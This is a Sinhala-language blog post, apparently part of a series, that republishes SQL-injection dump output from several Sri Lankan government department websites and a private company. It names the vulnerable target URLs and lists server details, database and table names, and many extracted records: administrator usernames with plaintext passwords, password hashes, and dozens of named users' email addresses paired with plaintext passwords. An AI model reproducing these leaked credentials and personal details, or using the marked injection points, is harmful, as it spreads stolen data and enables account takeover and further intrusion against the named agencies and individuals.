Ads 468x60px

Sport News

Visitors

පහත ඇති "Like" Button එක ක්ලික් කර ඔබත් අදම අපේ Facebook Fan කෙනෙකු වන්න

Powered By Tricks Lanka

Comments

Thursday, September 8, 2011

ශ්‍රි ලංකා රජයෙ දත්ත ගබඩාවන් 6 කට තවත් සයිබර් ප්‍රහාර-3

මිට පෙර සදහන් කල ලිපියෙහි ඉතිරි කොටස මෙහි Registration of Persons Dept, Registrar General's Dept,  Public Trustee Dept, Official Language Commission, Ministry of Science and Technology, Digital Group of Companies of Sri_lanka.හි දත්තයන් ඇතුලත් වෙ.
  • REGISTRAR GENERAL's DEPARTMENT  (GOVT OF SRI LANKA)


WEBSITE :-  http://www.rgd.gov.lk
Vulnerabile to SQLi



  1. #####################################SERVER DETAILS########################################
  2. Target:                 http://www.rgd.gov.lk/
  3. Host IP:                220.247.225.200
  4. Web Server:             Apache/2.2.3 (Red Hat)
  5. Powered-by:             PHP/5.2.10
  6. DB Server:              MySQL >=5
  7. Resp. Time(avg):        1324 ms
  8. Current User:           rgd_dbuser@localhost
  9. Sql Version:            5.0.77
  10. Current DB:             rgdgov_rgdcms
  11. System User:            rgd_dbuser@localhost
  12. Host Name:              singhaya2.lk
  13. Installation dir:       /usr/
  14. DB User:                'rgd_dbuser'@'localhost'
  15. ################################## DATABASE NAMES ########################################
  16. Data Bases:     information_schema
  17.                 rgdgov_rgdcms
  18.                 rgdgov_search
  19.                 test
  20.                 test_db
  21. ############################ TABLES NAMES OF DB rgdgov_rgdcms ###########################
  22. snippet_sin    
  23. snippet_eng    
  24. sinnews
  25. projects_history_sin   
  26. projects_history       
  27. newssin
  28. news   
  29. lastupdate     
  30. faqquestionssin
  31. faqquestions   
  32. faqanswersin   
  33. faqanswer      
  34. engnews
  35. editdatasin    
  36. editdataeng    
  37. downloadsin    
  38. download       
  39. currentprojectssin     
  40. currentprojects
  41. authteam       
  42. ############################# USER DETAILS OF DB rgdgov_rgdcms ###########################
  43. Data Found: id=1
  44. Data Found: uName=admin
  45. Data Found: pWord=admin123
  46. Data Found: uLevel=1
  47. Data Found: name=Main Administrator
  48. Data Found: id=2
  49. Data Found: uName=englishadmin
  50. Data Found: pWord=admin123
  51. Data Found: uLevel=2
  52. Data Found: name=English Administrator
  53. Data Found: id=3
  54. Data Found: uName=sinhalaadmin
  55. Data Found: pWord=admin123
  56. Data Found: uLevel=3
  57. Data Found: name=Sinhala Administrator
  58. Data Found: id=4
  59. Data Found: uName=superadmin
  60. Data Found: pWord=rgadminsup
  61. Data Found: uLevel=1
  62. Data Found: name=Super Administrator
  63. ################################# TABLES OF DB rgdgov_search #############################
  64. temp   
  65. sites  
  66. site_category  
  67. query_log      
  68. pending
  69. links  
  70. link_keyword   
  71. keywords       
  72. categories
  73.  REGISTRATION OF PERSONS DEPARTMENT (GOVT OF SRILANKA)


WEBSITE :-  http://www.rpd.gov.lk
Vulnerabile to SQLi

  1. ################################## SERVER DETAILS ##########################################
  2. Target:                 http://www.rpd.gov.lk/
  3. Host IP:                220.247.225.200
  4. Web Server:             Apache/2.2.3 (Red Hat)
  5. Powered-by:             PHP/5.2.10
  6. DB Server:              MySQL >=5
  7. Resp. Time(avg):        24230 ms
  8. Current User:           rpdgov_dbuser@localhost
  9. Sql Version:            5.0.77
  10. Current DB:             rpdgov_rpdeng
  11. System User:            rpdgov_dbuser@localhost
  12. Host Name:              singhaya2.lk
  13. Installation dir:       /usr/
  14. DB User:                'rpdgov_dbuser'@'localhost'
  15. ################################## DATABASE NAMES #######################################
  16. Data Bases:     information_schema
  17.                 rpdgov_ccdcms
  18.                 rpdgov_newweb
  19.                 rpdgov_rpdcms
  20.                 rpdgov_rpdeng
  21.                 rpdgov_rpdsin
  22.                 rpdgov_search
  23.                 test
  24.                 test_db
  25. ########################### USER DETAILS OF DB rpdgov_rpdeng#############################
  26. Data Found: uname=admin
  27. Data Found: pwd=rpd_eng
  28. Data Found: utype=Administrator
  29. Data Found: uname=pooranee
  30. Data Found: pwd=mahinda
  31. Data Found: utype=Administrator
  32. ################################# TABLES OF DB rpdgov_rpdeng #############################
  33. user   
  34. sub_project    
  35. news   
  36. main_project   
  37. lastupdate     
  38. faq    
  39. download       
  40. ############################### TABLES OF DB rpdgov_newweb ################################
  41. jos_xmap_sitemap       
  42. jos_xmap_items 
  43. jos_xmap_ext   
  44. jos_xmap       
  45. jos_weblinks   
  46. jos_users      
  47. jos_templates_menu     
  48. jos_stats_agents       
  49. jos_session    
  50. jos_sections   
  51. jos_polls      
  52. jos_poll_menu  
  53. jos_poll_date  
  54. jos_poll_data  
  55. jos_plugins    
  56. jos_newsfeeds  
  57. jos_modules_menu       
  58. jos_modules    
  59. jos_migration_backlinks
  60. jos_messages_cfg       
  61. jos_messages   
  62. jos_menu_types 
  63. jos_menu       
  64. jos_languages  
  65. jos_jf_tableinfo       
  66. jos_jf_content 
  67. jos_groups     
  68. jos_dbcache    
  69. jos_core_log_searches  
  70. jos_core_log_items     
  71. jos_core_acl_groups_aro_map    
  72. jos_core_acl_aro_sections      
  73. jos_core_acl_aro_map   
  74. jos_core_acl_aro_groups
  75. jos_core_acl_aro       
  76. jos_content_rating     
  77. jos_content_frontpage  
  78. jos_content    
  79. jos_contactmap_marqueurs       
  80. jos_contact_details    
  81. jos_components 
  82. jos_categories 
  83. jos_bannertrack
  84. jos_bannerclient       
  85. jos_banner     
  86. jos_attachments
  87. ################################USER DETAILS OF DB rpdgov_newweb###########################
  88. Data Found: id=1
  89. Data Found: name=Administrator
  90. Data Found: username=admin
  91. Data Found: email=lankacom@lankacom.net
  92. Data Found: password=81820cedc625e2d8d49ca87f7fc2bf9b:RQCV2zaF4V9FkPWyGYTl48kjFRTitVA7
  93. Data Found: usertype=Super Administrator
  94. PUBLIC TRUSTEE DEPARTMENT (GOVT OF SRILANKA)


Vulnerabile to SQLi
  1. ################################### SERVER DETAILS ########################################
  2. Target:                 http://www.publictrustee.gov.lk/news.php?id=18
  3. Host IP:                220.247.225.200
  4. Web Server:             Apache/2.2.3 (Red Hat)
  5. Powered-by:             PHP/5.2.10
  6. DB Server:              MySQL >=5
  7. Resp. Time(avg):        5514 ms
  8. Current User:           publictru_dbuser@localhost
  9. Sql Version:            5.0.77
  10. Current DB:             publictrusteegov_publictrusteeDB
  11. System User:            publictru_dbuser@localhost
  12. Host Name:              singhaya2.lk
  13. Installation dir:       /usr/
  14. DB User:                'publictru_dbuser'@'localhost'
  15. ########################### DATABASE DETAILS ############################################
  16. Data Bases:     information_schema
  17.                 publictrusteegov_dbsinhala
  18.                 publictrusteegov_dbtamil
  19.                 publictrusteegov_publictrusteeDB
  20.                 publictrusteegov_search
  21.                 test
  22.                 test_db
  23. #############################TABLES OF DB publictrusteegov_dbsinhala#######################
  24. user   
  25. tbltrust       
  26. tblsnippet     
  27. tblimg 
  28. tblfaq 
  29. news   
  30. lastupdate     
  31. #######################USER DETAILS OF DB publictrusteegov_dbsinhala#######################
  32. Data Found: uname=indika
  33. Data Found: utype=Administrator
  34. Data Found: pwd=indika
  35. Data Found: uname=publictrustee
  36. Data Found: utype=administrator
  37. Data Found: pwd=DIM

    • OFFICIAL LANGUAGES COMMISSION (GOVT OF SRILANKA)


    Vulnerabile to SQLi

    1. ################################# SERVER DETAILS ###########################################
    2. Target:                 http://www.languagescom.gov.lk
    3. Host IP:                220.247.225.200
    4. Web Server:             Apache/2.2.3 (Red Hat)
    5. Powered-by:             PHP/5.2.10
    6. DB Server:              MySQL >=5
    7. Resp. Time(avg):        3905 ms
    8. Current User:           languages_dbuser@localhost
    9. Sql Version:            5.0.77
    10. Current DB:             languagescomgov_languages
    11. System User:            languages_dbuser@localhost
    12. Host Name:              singhaya2.lk
    13. Installation dir:       /usr/
    14. DB User:                'languages_dbuser'@'localhost'
    15. ############################# DATABASE NAMES ###########################################
    16. Data Bases:             information_schema
    17.                         languagescomgov_languages
    18.                         test
    19.                         test_db
    20. ########################### TABLES OF DB languagescomgov_languages #######################
    21. user   
    22. tblrolling_sinhala     
    23. tblrolling     
    24. tblnews_sinhala
    25. tblimg 
    26. tblfaq_sinhala 
    27. tblfaq 
    28. news   
    29. lastupdate     
    30. ######################### USERS DETAILS OF DB languagescomgov_languages ###################
    31. Data Found: utype=Administrator
    32. Data Found: uname=admin
    33. Data Found: pwd=lg@com
      • MINISTRY OF SCIENCE AND TECHNOLOGY (GOVT OF SRILANKA)


      Vulnerabile to SQLi

     
  38. ################################# SERVER DETAILS #########################################
  39. Target:                 http://www.most.gov.lk/programmes1.php?id=3
  40. Host IP:                220.247.225.200
  41. Web Server:             Apache/2.2.3 (Red Hat)
  42. Powered-by:             PHP/5.2.10
  43. DB Server:              MySQL >=5
  44. Resp. Time(avg):        2522 ms
  45. Current User:           mostgov_dbuser@localhost
  46. Sql Version:            5.0.77
  47. Current DB:             mostgov_english
  48. System User:            mostgov_dbuser@localhost
  49. Host Name:              singhaya2.lk
  50. Installation dir:       /usr/
  51. DB User:                'mostgov_dbuser'@'localhost'
  52. ################################ DATABASE NAMES #########################################
  53. Data Bases:     information_schema
  54.                 mostgov_english
  55.                 mostgov_newweb
  56.                 mostgov_sinhala
  57.                 test
  58.                 test_db
  59. ############################### TABLES OF DB mostgov_english #############################
  60. visits 
  61. vidatha1       
  62. vidatha
  63. vacancy
  64. two    
  65. three  
  66. submenu1       
  67. submenu
  68. statistics     
  69. search 
  70. question       
  71. publication    
  72. public_detalis 
  73. pub_leaflet    
  74. propdf 
  75. proinfo
  76. programme      
  77. photo_gallery  
  78. parlimentbills 
  79. overall
  80. orgdiagram1    
  81. orgchart       
  82. org    
  83. one    
  84. newsevents     
  85. mainmenu       
  86. loguser
  87. homeminphoto   
  88. home   
  89. hitcounter     
  90. division       
  91. dept_contact   
  92. contact
  93. circular       
  94. addvidathaproposed     
  95. addvidathaimage
  96. addvidathaestablished2 
  97. addvidathaestablished1 
  98. addvidathaestablished  
  99. ############################# USER DETAILS OF DB mostgov_english #########################
  100. Data Found: id=0
  101. Data Found: uname=Science
  102. Data Found: password=admin
  103. ########################## TABLES OF DB mostgov_newweb ##################################
  104. jos_vid
  105. jos_vidatha    
  106. jos_users      
  107. jos_templates_menu     
  108. jos_stats_agents       
  109. jos_session    
  110. jos_sections   
  111. jos_province   
  112. jos_polls      
  113. jos_poll_menu  
  114. jos_poll_date  
  115. jos_poll_data  
  116. jos_plugins    
  117. jos_newsfeeds  
  118. jos_modules_menu       
  119. jos_modules    
  120. jos_migration_configuration    
  121. jos_migration_backlinks
  122. jos_messages_cfg       
  123. jos_messages   
  124. jos_menu_types 
  125. jos_menu       
  126. jos_languages  
  127. jos_jf_tableinfo       
  128. jos_jf_content 
  129. jos_groups     
  130. jos_googlemap  
  131. jos_events     
  132. jos_district   
  133. jos_dbcache    
  134. jos_core_log_searches  
  135. jos_core_log_items     
  136. jos_core_acl_groups_aro_map    
  137. jos_core_acl_aro_sections      
  138. jos_core_acl_aro_map   
  139. jos_core_acl_aro_groups
  140. jos_core_acl_aro       
  141. jos_content_rating     
  142. jos_content_frontpage  
  143. jos_content    
  144. jos_contactmap_marqueurs       
  145. jos_contact_details    
  146. jos_components 
  147. jos_categories 
  148. jos_bloggies_themes    
  149. jos_bloggies_tags      
  150. jos_bloggies_settings  
  151. jos_bloggies_reports   
  152. jos_bloggies_relations 
  153. jos_bloggies_plugins   
  154. jos_bloggies_groups    
  155. jos_bloggies_entries   
  156. jos_bloggies_comments  
  157. jos_bloggies_categories
  158. jos_bloggies_bookmarks 
  159. jos_bloggies_authors   
  160. jos_bannertrack
  161. jos_bannerclient       
  162. jos_banner     
  163. jos_attachments
  164. ########################### USER DETAILS OF DB mostgov_newweb #############################
  165. Data Found: id=62
  166. Data Found: username=admin
  167. Data Found: password=78653161e5ed7b1e2681c938d9e7ef87:Tw6CEsVh0QoF3V1bjGAGnqgZTLOqVNs8
  168. Data Found: usertype=Super Administrator
  169. Data Found: name=Administrator
  170. Data Found: email=roobanv@lankacom.net
  171. Data Found: id=63
  172. Data Found: username=Ruchi
  173. Data Found: password=2b8b1f2cf776661dd30e2c07c1b5a7ea:lg7ZCDjgkXBPXq5zbM0pPV5K0mjBEPDy
  174. Data Found: usertype=Registered
  175. Data Found: name=Ruchira
  176. Data Found: email=ruchirap@lankacom.net
  177. Data Found: id=64
  178. Data Found: username=rana
  179. Data Found: password=ac0c545d4b2847857c6317e58c74f641:cbpfkhY2qDuwdiml46SFL2TCS6lqa28h
  180. Data Found: usertype=Registered
  181. Data Found: name=Rana
  182. Data Found: email=ruchiaz@gmail.com
  183. Data Found: id=65
  184. Data Found: username=randi
  185. Data Found: password=4aa14ae7116f934b5c324e842b9c807c:aPmqsPZ8bWNgGyCeP3mvJA2iQLNoP3ZV
  186. Data Found: usertype=Registered
  187. Data Found: name=randi
  188. Data Found: email=randi@gmail.com
    • DIGITAL GROUP OF COMPANIES


    Vulnerabile to SQLi
    1. #################################### SERVER DETAILS ######################################
    2. Target:                 http://www.digitalhouse.lk/
    3. Host IP:                184.172.164.252
    4. Web Server:             Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5
    5.                         mod_bwlimited/1.4
    6. Powered-by:             PHP/5.2.17
    7. DB Server:              MySQL >=5
    8. Resp. Time(avg):        4951 ms
    9. Current User:           digitalh_admin@localhost
    10. Sql Version:            5.1.56
    11. Current DB:             digitalh_db
    12. System User:            digitalh_admin@localhost
    13. Host Name:              ashley.noc29.com
    14. Installation dir:       /
    15. DB User:                'digitalh_admin'@'localhost'
    16. ############################### DATABASE NAMES #########################################
    17. Data Bases:             information_schema
    18.                         digitalh_db
    19. ############################### TABLES OF DB digitalh_db ###############################
    20. user   
    21. titleimage     
    22. prouuct
    23. promotion      
    24. products       
    25. news   
    26. main_category  
    27. login  
    28. hits   
    29. h_images       
    30. events 
    31. email  
    32. dealer 
    33. categories     
    34. careers
    35. ######################### USER DETAILS OF DB digitalh_db #################################
    36. Data Found: id=3
    37. Data Found: username=developer
    38. Data Found: password=eceylinco
    39. Data Found: id=5
    40. Data Found: username=manoj
    41. Data Found: password=digital
    42. Data Found: id=6
    43. Data Found: username=roshan
    44. Data Found: password=roshan82630
    45. Data Found: userid=abdulla21@gmail.com
    46. Data Found: password=pass@urass
    47. Data Found: title=Mr.
    48. Data Found: fname=Abdulla
    49. Data Found: userid=amal1982_4@hotmail.com
    50. Data Found: password=spider
    51. Data Found: title=Mr.
    52. Data Found: fname=Amal
    53. Data Found: userid=amila
    54. Data Found: password=ana471326
    55. Data Found: title=Mr.
    56. Data Found: fname=amila
    57. Data Found: userid=amilalaw@gemail.com
    58. Data Found: password=ana
    59. Data Found: title=Mr.
    60. Data Found: fname=amila
    61. Data Found: userid=f@f.com
    62. Data Found: password=f
    63. Data Found: title=Mr.
    64. Data Found: fname=f
    65. Data Found: userid=Faumy
    66. Data Found: password=rifaza
    67. Data Found: title=Mr.
    68. Data Found: fname=Mansoor
    69. Data Found: userid=g@g.com
    70. Data Found: password=g
    71. Data Found: title=Mr.
    72. Data Found: fname=g
    73. Data Found: userid=gayannmj
    74. Data Found: password=weligama
    75. Data Found: title=Miss.
    76. Data Found: fname=gayani
    77. Data Found: userid=H@H.COM
    78. Data Found: password=h
    79. Data Found: title=Mr.
    80. Data Found: fname=h
    81. Data Found: userid=horizontechnology@hotmail.com
    82. Data Found: password=725184
    83. Data Found: title=Mr.
    84. Data Found: fname=naleem
    85. Data Found: userid=info@electrobase.net
    86. Data Found: password=h__a__e__r
    87. Data Found: title=Mr.
    88. Data Found: fname=Eranga
    89. Data Found: userid=info@sistec-computers.com
    90. Data Found: password=bandula
    91. Data Found: title=Mr.
    92. Data Found: fname=aabp
    93. Data Found: userid=k@kk.com
    94. Data Found: password=kk
    95. Data Found: title=Mr.
    96. Data Found: fname=k
    97. Data Found: userid=Kanchana
    98. Data Found: password=royal123
    99. Data Found: title=Mr.
    100. Data Found: fname=Kanchana
    101. Data Found: userid=kt_epitiya@sltet.lk
    102. Data Found: password=suranga
    103. Data Found: title=Mr.
    104. Data Found: fname=suranga
    105. Data Found: userid=kvidanagama@gmail.com
    106. Data Found: password=royal123
    107. Data Found: title=Mr.
    108. Data Found: fname=Kanchana
    109. Data Found: userid=lasanthasuraweera@yahoo.com
    110. Data Found: password=pabasara
    111. Data Found: title=Mr.
    112. Data Found: fname=Lasantha
    113. Data Found: userid=mmedirisingha@yahoo.com
    114. Data Found: password=mama
    115. Data Found: title=Mr.
    116. Data Found: fname=madawa
    117. Data Found: userid=naleef
    118. Data Found: password=19760825
    119. Data Found: title=Mr.
    120. Data Found: fname=Mohamed
    121. Data Found: userid=naw@asia.com
    122. Data Found: password=tdhur
    123. Data Found: title=Mr.
    124. Data Found: fname=Anuradha
    125. Data Found: userid=nimesha@slts.lk
    126. Data Found: password=muthu20013
    127. Data Found: title=Mr.
    128. Data Found: fname=Nimesha
    129. Data Found: userid=nissanthan@gmail.com
    130. Data Found: password=syncmaster
    131. Data Found: title=Mr.
    132. Data Found: fname=Nissanthan
    133. Data Found: userid=pbskumara2003@yahoo.com
    134. Data Found: password=tharuki1
    135. Data Found: title=Mr.
    136. Data Found: fname=saman
    137. Data Found: userid=Rahu
    138. Data Found: password=RAHU
    139. Data Found: title=Mr.
    140. Data Found: fname=B
    141. Data Found: userid=ruchika
    142. Data Found: password=chathura
    143. Data Found: title=Mr.
    144. Data Found: fname=Ruchika
    145. Data Found: userid=ruchika_edu@yahoo.com
    146. Data Found: password=chathura
    147. Data Found: title=Mr.
    148. Data Found: fname=Ruchika
    149. Data Found: userid=sagaraya100@yahoo.com
    150. Data Found: password=jayanthi
    151. Data Found: title=Mr.
    152. Data Found: fname=prasad
    153. Data Found: userid=saman
    154. Data Found: password=tharuki
    155. Data Found: title=Mr.
    156. Data Found: fname=saman
    157. Data Found: userid=samee_kumara@yahoo.com
    158. Data Found: password=samanu
    159. Data Found: title=Mr.
    160. Data Found: fname=sameera
    161. Data Found: userid=shashika
    162. Data Found: password=123456
    163. Data Found: title=Mr.
    164. Data Found: fname=shashika
    165. Data Found: userid=SUNIL
    166. Data Found: password=20061114
    167. Data Found: title=Mr.
    168. Data Found: fname=SUNIL
    169. Data Found: userid=suranga201@yahoo.com
    170. Data Found: password=0714373797
    171. Data Found: title=Mr.
    172. Data Found: fname=suranga
    173. Data Found: userid=systemtechs@yahoo.com
    174. Data Found: password=wasb197251
    175. Data Found: title=Mr.
    176. Data Found: fname=Ashen
    177. Data Found: userid=technomarke@digitaldynamicslk.com
    178. Data Found: password=melani
    179. Data Found: title=Mr.
    180. Data Found: fname=Digital
    181. Data Found: userid=test
    182. Data Found: password=test
    183. Data Found: title=Mr.
    184. Data Found: fname=Upul
    185. Data Found: userid=test@t.com
    186. Data Found: password=test
    187. Data Found: title=Mr.
    188. Data Found: fname=udaya
    189. Data Found: userid=test@w.com
    190. Data Found: password=test
    191. Data Found: title=Mr.
    192. Data Found: fname=d
    193. Data Found: userid=tshpathirana@gmail.com
    194. Data Found: password=tharindu
    195. Data Found: title=Mr.
    196. Data Found: fname=Tharindu Shashi
    197. Data Found: userid=udaya@u.co
    198. Data Found: password=udaya
    199. Data Found: title=Mr.
    200. Data Found: fname=udaya
    201. Data Found: userid=uk@uk.com
    202. Data Found: password=uk
    203. Data Found: title=Mr.
    204. Data Found: fname=ukUK
    205. Data Found: userid=uniapex@yahoo.com
    206. Data Found: password=apexdara
    207. Data Found: title=Mr.
    208. Data Found: fname=Darshana
    209. Data Found: userid=uu@uu.com
    210. Data Found: password=uu
    211. Data Found: title=Mr.
    212. Data Found: fname=uu
    213. Data Found: userid=v@v.com
    214. Data Found: password=v
    215. Data Found: title=Mr.
    216. Data Found: fname=v
    217. Data Found: userid=ww@ww.com
    218. Data Found: password=ww
    219. Data Found: title=Mr.
    220. Data Found: fname=ww
    221. Data Found: userid=www.jigsaw@home.com
    222. Data Found: password=4511
    223. Data Found: title=Mr.
    224. Data Found: fname=gihan
 මේක ඔයාලට වැදගත් උනානම් Follow කරගෙනම යන්න. ප්‍රශ්ණ, නැත්නම් ඔයාට හිතෙන දේ කමෙන්ට් කරලා යන්න.



1 ප්‍රතිචර:

බැලුවද?

ඉතිං එහෙනම් කමෙන්ට එකක් දාලා යමු නෙද?